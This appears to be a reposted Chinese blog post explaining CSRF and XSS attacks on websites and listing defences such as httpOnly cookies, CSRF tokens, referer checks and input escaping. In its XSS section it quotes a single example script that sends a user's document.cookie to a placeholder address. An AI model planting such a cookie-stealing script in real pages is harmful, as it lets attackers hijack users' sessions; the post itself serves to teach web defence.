网站攻击中的csrf和xss

Posted 前端程序人生

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网站攻击中的csrf和xss相关的知识,希望对你有一定的参考价值。

CSRF、XSS何方神圣

CSRF(Cross-site request forgery)

中文名字是跨站请求伪造,做的事情就是在别的网站,以你的名义对你登陆认 证过的网站搞事情。

XSS(Cross-site scripting)

中文名字是跨站脚本,做的事情就是在有漏洞的网站,写个dom攻击,或者存个另类的数据到网站数据库,对使用网站的用户造成困扰,属于站内攻击。

它们是怎么令你流泪的

CSRF攻击姿势

在B网站默默写个可访问A网站(用户登陆过了,客户端已经存储cookie)的链接或者脚本。触发方式有用户不小心触发(比如:点击某个按钮啥的),或者用iframe偷偷访问,这时候会带A网站的cookie去请求A服务器,因为用户已经登陆过。如果服务器没有做任何防护,那B网站就开心了,能做的事情就有点多了,比如想去获取一下你的好友列表信息,然后发垃圾邮箱啥的,再比如就是直接转账,把你钱都卷跑。。如果你做了防护,B网站会尝试投你所好,继续攻击,直到没法子。

XSS攻击姿势

1. 检查提交表单是否对用户输入有限制,如果限制没做好,那攻击者可以写入一段脚本、sql语句、包含html标签的内容。 设想录入文章的场景,攻击者写入的文章被用户看到,可发生的事情有:执行js脚本(<script>window.open("xxx?cookie_hh="+document.cookie</script>)完了,用户的cookie要丢了,有了用户cookie,能做的事情就有点多了;或者可能会攻击数据库,操作数据,考验你的数据库承受能力。 


2. 显示内容根据url参数是否有关,进行参数攻击。

怎么保住自己的江山

CSRF预防措施

1. 使用cookie的httpOnly,设置为true,就不能通过document.cookie 方式获取用户cookie。


2. 使用token,对每个请求都设置一个token,尤其是post, delete等危险method,比如django就使用了csrf_token机制预防csrf

 

3. 检查reffer,检测链接访问来源。

 

4. 保证自己站内没有xss,这样用户信息不易丢失,不给csrf假冒用户的机 会。 


5. 使用X-iframe-options头部控制别的网站用iframe嵌入你的内容。 6. 利用框架自身特点,比如djangocsrf_token

XSS预防措施


1. 对用户可输入信息的地方保持警惕,做好防护,比如转义什么的。

2. 强化数据库,存入数据之前,考虑到安全性。

3. url中的参数考虑下encode

4. 利用框架本身功能,比如django默认会处理特殊字符


以上是关于网站攻击中的csrf和xss的主要内容,如果未能解决你的问题,请参考以下文章

网站攻击中的csrf和xss

什么是CSRF攻击?什么是XSS攻击?解决方案有哪些?

Xss和Csrf介绍

前端安全之XSS和csrf攻击

对xss攻击和csrf攻击的理解

web安全(xss攻击和csrf攻击)